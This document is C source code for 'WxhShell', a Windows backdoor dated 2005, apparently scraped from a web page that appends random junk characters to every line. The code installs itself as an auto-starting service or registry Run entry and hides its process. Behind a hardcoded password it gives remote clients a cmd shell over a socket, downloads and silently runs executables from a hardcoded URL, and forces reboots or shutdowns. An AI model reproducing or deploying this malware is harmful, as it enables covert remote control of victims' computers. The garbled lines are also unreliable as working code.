    if(Boot(SHUTDOWN)) < -uc."6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1VF    
    else { Tx 1 vL  
    closesocket(wsh); N%7{J  
    ExitThread(0); :LWn<,4F&  
    } DbZ0e5  
    break; Ja]?&j  
    } KJ?y@Q  
  // 获取shell 'DCFezdf3  
  case 's': { CvPioi  
    CmdShell(wsh); T"p(]@Ng  
    closesocket(wsh); 'lo  
    ExitThread(0); /Y&02L%\3s  
    break; F$Ca;cP"  
  } k-E{d04-2  
  // 退出 d'*]ns  
  case 'x': { P_gYz!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sow d`I~  
    CloseIt(wsh); 4J|t?]ij|E  
    break; YC=S5;  
    } T# lP!c  
  // 离开 WKpA|  
  case 'q': { !mRx$ %ul  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q8Nn%o=5V  
    closesocket(wsh); \ A%eG&  
    WSACleanup(); -/ x W  
    exit(1); uNHdpni  
    break; !)qQbk  
        } e8h,,:l3j  
  } '~ 4pl0TWc  
  } T"T;`y@(  
1AHx"e,;L  
  // 提示信息 g7CXlT0Q6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W%e_~$H0  
} Sf/q2/r?6[  
  } x|0:P sE  
#5&jt@NS  
  return; .fzu"XAPu  
} cBYfXI0`  
 :Pq.,s  
// shell模块句柄 659v\51*  
int CmdShell(SOCKET sock) 1/ZR*f a  
{ 451'>qS  
STARTUPINFO si; ?-OPX_i_  
ZeroMemory(&si,sizeof(si)); =s}Xy_+:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; joa5|t!D9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QM5 .f+/  
PROCESS_INFORMATION ProcessInfo; 85|fyX  
char cmdline[]="cmd"; V8-h%|$p3W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0IT@V5Gdj  
  return 0; #hL*r bpT  
} j2M+]Zp.  
2X88:  
// 自身启动模式 V (rr"K+  
int StartFromService(void) g,]@4|  
{ W~ULc 9  
typedef struct 6QZ5|T ]  
{ q (+ZwaV@  
  DWORD ExitStatus; C+F*690h  
  DWORD PebBaseAddress; 4ZC!SgJo  
  DWORD AffinityMask; 64j|}wJ$  
  DWORD BasePriority; hzY[ G :  
  ULONG UniqueProcessId; | A:@ &|  
  ULONG InheritedFromUniqueProcessId; _7kM]">j  
}   PROCESS_BASIC_INFORMATION; .wK1El{bf  
rS*$rQCr=  
PROCNTQSIP NtQueryInformationProcess; 6+dn*_[Z6  
"Vd_CO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7m9 " 8   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O'NW Ebl/  
&hV Zx  
  HANDLE             hProcess; !OcENV  
  PROCESS_BASIC_INFORMATION pbi; ,Vd7V}t  
0{^H]Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x.$1<w64t  
  if(NULL == hInst ) return 0; Qbeeq6  
zz_[S{v!#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?4z8)E9Ju  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %G?K@5?j?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kII7z;<^`  
\k.vN@K#  
  if (!NtQueryInformationProcess) return 0; nhdTTap&9  
8v y G*UK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {UH9i'y:t  
  if(!hProcess) return 0; :DkAQ-<~  
~fzuwz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dl l%4Sd  
noNm^hFL  
  CloseHandle(hProcess); q]<xMg#nu  
, fb( WY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N dR ]  
if(hProcess==NULL) return 0; r$nkU4N'  
h3Fo-]0  
HMODULE hMod; )QY![&k}1z  
char procName[255]; tSv0" L  
unsigned long cbNeeded; +=c am/A  
We`'>'W0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^[-> )  
gbOCR1PBg  
  CloseHandle(hProcess); \gccQig1CJ  
}fIqH4bp  
if(strstr(procName,"services")) return 1; // 以服务启动 ;vO@m!h}U  
6~5$s1Yc  
  return 0; // 注册表启动 ARL  
} }uX|5&=~f  
kI*UkM-  
// 主模块 eZF'Ck y  
int StartWxhshell(LPSTR lpCmdLine) CJNG) p  
{ P#G.lft"O  
  SOCKET wsl; cfoYnM  
BOOL val=TRUE; B} *V%}:)  
  int port=0; - G ?%QG`v  
  struct sockaddr_in door; A['uD<4b  
y7zkAXhJ  
  if(wscfg.ws_autoins) Install(); IG.f=+<0  
6 ,N6jaW  
port=atoi(lpCmdLine); M%=P)cC  
p/|(,)'+jx  
if(port<=0) port=wscfg.ws_port; 2eok@1  
v@T'7?s.  
  WSADATA data; 02 f9 wV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TGWdyIk  
(:$9%,x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EI`vVI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3-Y=EH_0  
  door.sin_family = AF_INET; Sa]Ek*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V 4qtaHf  
  door.sin_port = htons(port); 5RA<Z.  
eihZp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kl{6]39  
closesocket(wsl); (zah890//  
return 1; %{ ~>n"  
} INLf#  N  
\ sf!  
  if(listen(wsl,2) == INVALID_SOCKET) { Oje|bxQ  
closesocket(wsl); H2\1gNL  
return 1; sX'U|)/pD  
} %F$N#YG  
  Wxhshell(wsl); J%r7<y\  
  WSACleanup(); /"0as_L<  
2oNV=b[  
return 0; u 2lX d'  
+#v4B?NR  
} |[wyc!nY).  
<kc]L x  
// 以NT服务方式启动 5!:._TcO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u&3EPu  
{ YeIe\3x!N  
DWORD   status = 0; ]N\6h(**wy  
  DWORD   specificError = 0xfffffff; $5/\Z  
>)%#V<{<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eJf>"IF-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; , ,{6m d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3LfTGO  
  serviceStatus.dwWin32ExitCode     = 0; S_T  
  serviceStatus.dwServiceSpecificExitCode = 0; kbq:U8+k  
  serviceStatus.dwCheckPoint       = 0; _SF!T6A  
  serviceStatus.dwWaitHint       = 0; XWF7#xM  
Rkr^Z?/GH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1nXqi)&?;  
  if (hServiceStatusHandle==0) return; {_ 6t4h}  
j&llrN  
status = GetLastError(); AFtCqq#[  
  if (status!=NO_ERROR) El1:?4;  
{ zPE#[\O21B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `wV|q~  
    serviceStatus.dwCheckPoint       = 0; b7f0#*(?  
    serviceStatus.dwWaitHint       = 0; 0Q*-g}wXfS  
    serviceStatus.dwWin32ExitCode     = status; .q0AoM  
    serviceStatus.dwServiceSpecificExitCode = specificError; U$@83?O{iM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KQW!\y?$"  
    return; BGA%"b  
  } Uk"Y/Ddm  
6 <r2*`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 09x+Tko9;*  
  serviceStatus.dwCheckPoint       = 0; \vs%U}IrO  
  serviceStatus.dwWaitHint       = 0; zK /f$}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^OjvL6 A/p  
} %d-`71|lG^  
:D^Y?  
// 处理NT服务事件,比如:启动、停止 z-)*Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P[1m0!,B  
{ 8+L7E-  
switch(fdwControl) J2Y 3er  
{  xLLC)~  
case SERVICE_CONTROL_STOP: @C<d2f|8  
  serviceStatus.dwWin32ExitCode = 0; &V FjH W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |Pj9ZG#  
  serviceStatus.dwCheckPoint   = 0; V[To,f  
  serviceStatus.dwWaitHint     = 0; ylT6h_z1[Y  
  { mj,qQ=n;p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kYTOldfY2  
  } E.U0qK],  
  return; sMN>wbHwh[  
case SERVICE_CONTROL_PAUSE: 2Z-,c;21  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HcDyD0;L.  
  break; t0I>5#*WU  
case SERVICE_CONTROL_CONTINUE: lxCX-a`@p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zv|M*Wu  
  break; +0dQORo  
case SERVICE_CONTROL_INTERROGATE: O '@m4@L   
  break; 0\ZaMu #  
}; wFn@\3%l`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AE]i V{p  
} nxf {PbHk  
;4R =eI  
// 标准应用程序主函数 HUD7{6}4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mC% %)F'Zf  
{ T&mbXMN  
e%'z=%(  
// 获取操作系统版本 vx PDC~3;  
OsIsNt=GetOsVer(); #?A]v>I;C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CF,8f$:2  
#%:`p9p.S  
  // 从命令行安装 ?L8&(&1@VD  
  if(strpbrk(lpCmdLine,"iI")) Install(); zL6 \p)y  
+$(71#'y  
  // 下载执行文件 d"LoK,p#  
if(wscfg.ws_downexe) { tru;;.lj8K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fuQ4rt[i  
  WinExec(wscfg.ws_filenam,SW_HIDE); (q~R5)D  
} 5>N6VeM  
y4 dp1<t%  
if(!OsIsNt) { kT>r<`rt  
// 如果时win9x,隐藏进程并且设置为注册表启动 8H&_,;  
HideProc(); Y>(ZsHu  
StartWxhshell(lpCmdLine); mL8A2>Gig  
} xcAF  
else V@ LN 1|  
  if(StartFromService()) `WP@ZSC6  
  // 以服务方式启动 |R[v@c`pn  
  StartServiceCtrlDispatcher(DispatchTable); D$Kz9GVZq  
else y*y`t6D  
  // 普通方式启动 e~tr^$/(  
  StartWxhshell(lpCmdLine); iLjuE)6-$  
d3\OHkM0^  
return 0; 9k(*?!\;  
} rSM$E  
cZCGnzy  
( [K2:n\  
v; je<DT  
=========================================== y21)~  
lNq:JVJ#\r  
Jslk  
Q x9>,e6+  
+3NlkN#  
./7&_9| <  
" }<6oFUZ  
T][-'0!  
#include <stdio.h> \[@Q}k[  
#include <string.h> Y\+(rC27  
#include <windows.h> # q0Ub-  
#include <winsock2.h> 7}2sIf[I  
#include <winsvc.h> ?|%\<h@;  
#include <urlmon.h> %s~NQ;Y  
N1D6D$s0  
#pragma comment (lib, "Ws2_32.lib") 8o*\W$K@  
#pragma comment (lib, "urlmon.lib") 5KL9$J9k  
<^H1)=tlF  
#define MAX_USER   100 // 最大客户端连接数 ccHLL6F{  
#define BUF_SOCK   200 // sock buffer H1aV}KD  
#define KEY_BUFF   255 // 输入 buffer ?Zc/upd:$N  
>reaIBT  
#define REBOOT     0   // 重启 B FzcoBu-  
#define SHUTDOWN   1   // 关机 R@)'Bs  
hj[+d%YZY"  
#define DEF_PORT   5000 // 监听端口 Oz4,Y+[#  
B[) [fE  
#define REG_LEN     16   // 注册表键长度 m;;0 Cl  
#define SVC_LEN     80   // NT服务名长度 4jC4X*  
>%PL_<Vbv  
// 从dll定义API [dSDg2]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f:x9Y{Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T% /xti5$!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >N+bU{s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e>])m3xvn  
rW=k%# p  
// wxhshell配置信息 ,7n;|1`  
struct WSCFG { >z fq*_  
  int ws_port;         // 监听端口 s=\LewF1<  
  char ws_passstr[REG_LEN]; // 口令 [H6X2yjj|  
  int ws_autoins;       // 安装标记, 1=yes 0=no b7W=HR  
  char ws_regname[REG_LEN]; // 注册表键名 `:-@E2  
  char ws_svcname[REG_LEN]; // 服务名 3/A!_Uc(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lo$Z>u4(c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NB!'u) lFD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |.Y@^z;P3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I,CAFq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + d+hvwEM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 WN`8?  
. Ce&9l  
}; }skRlC  
1sIy*z  
// default Wxhshell configuration QK``tWLIg7  
struct WSCFG wscfg={DEF_PORT, L5-T6CD  
    "xuhuanlingzhe", $'J6#Vs  
    1, . BYKdxa  
    "Wxhshell", d'Ik@D]I  
    "Wxhshell", Xh7~MU~X  
            "WxhShell Service", YJ$Vn >6Z  
    "Wrsky Windows CmdShell Service", +WU|sAK"  
    "Please Input Your Password: ", `wn<3#  
  1, 0i5T] )r  
  "http://www.wrsky.com/wxhshell.exe", a=:{{\1o  
  "Wxhshell.exe" 5v Uz  
    }; |1<]o;:  
*MnG-\{j  
// 消息定义模块 pr[B$X .V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i&}zcGC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g "K#&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Vn>ue+?  
char *msg_ws_ext="\n\rExit."; K c2OLz#  
char *msg_ws_end="\n\rQuit."; Y^94iOk%T  
char *msg_ws_boot="\n\rReboot..."; ?'ez.a}  
char *msg_ws_poff="\n\rShutdown..."; 5 CY_Ay\  
char *msg_ws_down="\n\rSave to "; P*0nT  
z'\}/k+  
char *msg_ws_err="\n\rErr!"; iSZctsqE  
char *msg_ws_ok="\n\rOK!"; -A-hxK*^  
</+%R"`  
char ExeFile[MAX_PATH]; T~wZ  
int nUser = 0; Dh!iY0Lz  
HANDLE handles[MAX_USER]; },Re5W nl  
int OsIsNt; ^sf[dr;BA  
\CJx=[3(  
SERVICE_STATUS       serviceStatus; bCE7hutl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M0Kh>u  
fzkCI  
// 函数声明 c`$`0}  
int Install(void); H.l,%x&K  
int Uninstall(void); :EQme0OW  
int DownloadFile(char *sURL, SOCKET wsh); dm/\uE'l  
int Boot(int flag); Hl3XqR  
void HideProc(void); j J`Zz  
int GetOsVer(void); .5KC'?  
int Wxhshell(SOCKET wsl); xM'S ;Sg  
void TalkWithClient(void *cs); N?2 #YTjR  
int CmdShell(SOCKET sock); evg 7d  
int StartFromService(void); @F3-Ugm  
int StartWxhshell(LPSTR lpCmdLine); Qa7S'(  
aCH:#|B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /_VRO9R\V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RaM#@D7  
3w<j:\i  
// 数据结构和表定义 ,SJK  
SERVICE_TABLE_ENTRY DispatchTable[] = /n(bThDH  
{ _;J9q}X  
{wscfg.ws_svcname, NTServiceMain}, a7v[l04  
{NULL, NULL} lM|WOmD  
}; @7HOL-i  
+/b4@B7  
// 自我安装 -'H+lrmv  
int Install(void) Br ^rK}|l  
{ !OZh fMVd  
  char svExeFile[MAX_PATH]; ^ ]6  80h  
  HKEY key; s68_o[[E  
  strcpy(svExeFile,ExeFile); i9EMi_%  
xv#j 593  
// 如果是win9x系统,修改注册表设为自启动 <zDw& s2  
if(!OsIsNt) { z?t(+^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O[hbu![  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @DQ"vFj6<  
  RegCloseKey(key); 6JFDRsX>)?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J?Ep Nie  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MVeQ5c(  
  RegCloseKey(key); J6["j   
  return 0; jC Kt;lj  
    } q*y9/HnI  
  } ]6VUqFO)  
} @+CSY-g$  
else { kO3k| 6f=  
" ;R3260  
// 如果是NT以上系统,安装为系统服务 PRk%C0`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^; V>}08  
if (schSCManager!=0) 4h_4jqf=pU  
{ CF}Nom)  
  SC_HANDLE schService = CreateService +}-W.H%`0  
  ( 7 6i rb!-  
  schSCManager, W$t}3Ru  
  wscfg.ws_svcname, \(>$mtS:  
  wscfg.ws_svcdisp, Kf?{GNE7  
  SERVICE_ALL_ACCESS, F;Xq:e8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xXU/m|  
  SERVICE_AUTO_START, kN9sug^  
  SERVICE_ERROR_NORMAL, /6+%(f}7l  
  svExeFile, B]KLn?zt5  
  NULL, eRx[&-c  
  NULL, $W_o$'crW  
  NULL, '3u]-GU2_  
  NULL, 1uge>o&  
  NULL UWWD8~:  
  ); _g`0td>N  
  if (schService!=0) NX""?"q  
  { ~"r wP=<}  
  CloseServiceHandle(schService);  ISnS;  
  CloseServiceHandle(schSCManager); x&fCe{5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sBXk$  
  strcat(svExeFile,wscfg.ws_svcname); ~Ro:mH: w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UH^wyK bM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +#I~#CV!  
  RegCloseKey(key); o&F.mYnqX  
  return 0; O+o%C*`K  
    } zkMO3w>  
  } qp_ `Fj:  
  CloseServiceHandle(schSCManager); /GSI.tO  
} JdYF&~  
} PKM$*_LcGI  
pnA]@FW  
return 1; WmVw>.]@~  
} MqBATW.pmJ  
m',_k Y3  
// 自我卸载 '=b&)HbeK  
int Uninstall(void) -0r "#48(%  
{ E)_!Hi0<s  
  HKEY key; =+-.5M  
KZ}4<{3  
if(!OsIsNt) { >)A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W>|b98NPu  
  RegDeleteValue(key,wscfg.ws_regname); 3Q~&xNf  
  RegCloseKey(key); P_lcX;O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >T*g'954xF  
  RegDeleteValue(key,wscfg.ws_regname); 5GFnfc}  
  RegCloseKey(key); XK/@!ud"`  
  return 0; (l P4D:X  
  } YxkEAb!+  
} KP7RrgOan&  
} ?ZV0   
else { ^oB1 &G  
1&pP}v ?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,0~ {nQj]  
if (schSCManager!=0) +\Mm (Nd  
{ UO!6&k>c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H$z+gbjJ  
  if (schService!=0) kJeOlO[  
  { U1|4vd9  
  if(DeleteService(schService)!=0) { c^WBB$v  
  CloseServiceHandle(schService); %=<NqINM[  
  CloseServiceHandle(schSCManager); ?jm2|:  
  return 0; r~2@#gTbl  
  } ZznWs+  
  CloseServiceHandle(schService); 7%}3Ghc%  
  } DJ [#H  
  CloseServiceHandle(schSCManager); Lm{ o=v  
} 99>yaW  
} coVT+we  
M)pi)$&c  
return 1; BBJ]>lQ  
} :::f,aCAu  
o4f9EJY   
// 从指定url下载文件 jTgh+j]AP  
int DownloadFile(char *sURL, SOCKET wsh) ; <@O^_+  
{ X$&Sw3c  
  HRESULT hr; *B<I><'G  
char seps[]= "/"; KJC9^BAr  
char *token; &2]D+aL|h  
char *file; >T^v4A  
char myURL[MAX_PATH]; r8?Lr-;  
char myFILE[MAX_PATH]; E=*Q\3G~  
wEc5{ b5M  
strcpy(myURL,sURL); 7CMgvH)O  
  token=strtok(myURL,seps); cH-Zj  
  while(token!=NULL) n4&j<zAV{  
  { ']Xx#U N  
    file=token; (g:W|hS  
  token=strtok(NULL,seps); vm^# aoDB  
  } "K!BJQ  
. mrRv8>$  
GetCurrentDirectory(MAX_PATH,myFILE); "wC5hj]  
strcat(myFILE, "\\"); f4I9H0d;!  
strcat(myFILE, file); OYp8r  
  send(wsh,myFILE,strlen(myFILE),0); fDHISJv  
send(wsh,"...",3,0); wSyu^KDz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qTMz6D!Q  
  if(hr==S_OK) ujqktrhuLb  
return 0; W1`ZS*12D  
else BvR3Oi@Wc  
return 1; ~2}ICU5  
[:S F(*}  
} oP75|p  
Df3v"iCq}  
// 系统电源模块 F X2`p_  
int Boot(int flag) ;l?(VqX_E  
{ NS;8&  
  HANDLE hToken; I_*>EA  
  TOKEN_PRIVILEGES tkp; {o<p{q  
eSBf;lr=  
  if(OsIsNt) { s? #lhI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X(z-?6N4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O~OWRJ@p  
    tkp.PrivilegeCount = 1; A3pQ?d[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @BhAFv,7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V=MZOj6  
if(flag==REBOOT) { =I}V PxhE7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h*Tiv^a  
  return 0; ]qHO{b4k  
} deY<+!  
else { |?=1tS{iT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  "<h#Z(  
  return 0; N|vJrye  
} X}Z%@tL  
  } .Q)"F /  
  else { K+OU~SED%F  
if(flag==REBOOT) { k ,(:[3J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i~L7h=__  
  return 0; ]m>MB )9  
} N<(`+ ?  
else { Y,\mrW}K   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BniVZCct  
  return 0; {~h\;>  
} W)hby`k  
} Sd6^%YB  
[KJL%u|8/  
return 1; :C6r N}_k  
}  Z5-'|h$|  
3U$fMLx]k  
// win9x进程隐藏模块 xyz86r ^u  
void HideProc(void) v72 dE  
{ 7Z3qaXPH  
".<p R} qp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IpmREl $j  
  if ( hKernel != NULL ) b7j#a#  
  { lGhUfhk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V%=t2+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K$]B" s  
    FreeLibrary(hKernel); GqxK|G1  
  } b;l%1x9r  
1*jm9])#  
return; iL1so+di  
} ,[#f}|s_  
cfS]C_6d  
// 获取操作系统版本 nHjwT5Q+Q  
int GetOsVer(void) gMn)<u>  
{ jQ}| ]pj+  
  OSVERSIONINFO winfo; >WX'oP(<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mIodD)?{  
  GetVersionEx(&winfo); ~vF o 0k(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a$8?0` (  
  return 1; b] V=wZ o  
  else _*I6O$/>  
  return 0; 1Tr=*b %f  
} yQ50f~9  
IPR396J+-  
// 客户端句柄模块 3 2D/%dHC  
int Wxhshell(SOCKET wsl) /p"R}&z  
{ RA/yvr  
  SOCKET wsh; 4*X$Jle|  
  struct sockaddr_in client; .X1niguXH  
  DWORD myID; V485Yn!$(  
(5&"Y?#o,  
  while(nUser<MAX_USER) +Ti@M1A&  
{ WpZ^R;eK  
  int nSize=sizeof(client); 'L/TaP/3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DlI|~  
  if(wsh==INVALID_SOCKET) return 1; +Wc[ $,vk  
9k&$bC+Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d o7{  
if(handles[nUser]==0) xE_[ = 7=  
  closesocket(wsh); _Tz!~z  
else 8w' 8n  
  nUser++; oZtz"B  
  } # 95/,k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q%Pnx_RB  
m(Ynl=c  
  return 0; [4yQ-L)]e  
} a\E]ueVD2j  
l/LUwDI{  
// 关闭 socket H#E0S>Jw|  
void CloseIt(SOCKET wsh) Nl _Jp:8s  
{ lc7]=,qyF  
closesocket(wsh); qa0Zgn5q  
nUser--; H l@rS  
ExitThread(0); b}*hodzF  
} 6:pN?|=6X  
Y~!@  
// 客户端请求句柄 v%^H9aK_  
void TalkWithClient(void *cs) `( Gk_VAa  
{ yK^k*)2N  
PV2904  
  SOCKET wsh=(SOCKET)cs; *TkABUL  
  char pwd[SVC_LEN]; NQ!F`  
  char cmd[KEY_BUFF]; u 36;;z  
char chr[1]; FC#Q tu~J  
int i,j; 9h8G2J o  
/([aD~.  
  while (nUser < MAX_USER) { DJ^JUVi  
oP6G2@3P/  
if(wscfg.ws_passstr) { hlZjk0ez  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J4i0+u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /'&L M\  
  //ZeroMemory(pwd,KEY_BUFF); sJWwkR  
      i=0; O"Q=66.CR  
  while(i<SVC_LEN) { [tN/}_]  
[geY:v_B  
  // 设置超时 CiSG=obw  
  fd_set FdRead; xj<SnrrC]u  
  struct timeval TimeOut; f WXzK<  
  FD_ZERO(&FdRead); P.Bk-#}$  
  FD_SET(wsh,&FdRead); 4dP_'0]9A:  
  TimeOut.tv_sec=8; ) LG/n  
  TimeOut.tv_usec=0; Y'T#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p pq#5t^[)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6BnjT  
q8J/tw?%v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b+>godTi_  
  pwd=chr[0]; a=R-F!P)  
  if(chr[0]==0xd || chr[0]==0xa) { ;D:v@I$I  
  pwd=0; nj  
  break; RZZB?vx  
  } eu =2a>  
  i++; .(-3L9T}  
    } Sy_M!`B  
7vFqO;  
  // 如果是非法用户,关闭 socket sMx\WTyz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "`k[ 4C  
} YS*t7  
oS4ag  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); va0 a4s1O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~fy0P:T  
__M}50^  
while(1) { w'!gLta  
Syk^7l  
  ZeroMemory(cmd,KEY_BUFF); nL? B  
Xqy{=:0  
      // 自动支持客户端 telnet标准   -]e@cevy  
  j=0; ` T!O )5  
  while(j<KEY_BUFF) { ^RyrUb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,x/j&S9!  
  cmd[j]=chr[0]; "'Q:%_;  
  if(chr[0]==0xa || chr[0]==0xd) { fCKcv |  
  cmd[j]=0; *uIHa"  
  break; n!p&.Mt  
  } ?S_S.Bd  
  j++; ":Q^/;D}U  
    } <bH>\@p7}  
}73H$ss:  
  // 下载文件 ;3!TOY"j;e  
  if(strstr(cmd,"http://")) { P1kd6]s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); seq$]  
  if(DownloadFile(cmd,wsh)) :MVD83?4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'Z"Yz^Eo  
  else OQq7|dZu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F2&KTK  
  } 8P .! q  
  else { &zZSWNW  
.f}I$ "2  
    switch(cmd[0]) { 'BC-'Ot  
  bke 1 F '  
  // 帮助 iG ;6e~p  
  case '?': { x~W&a*WNT  
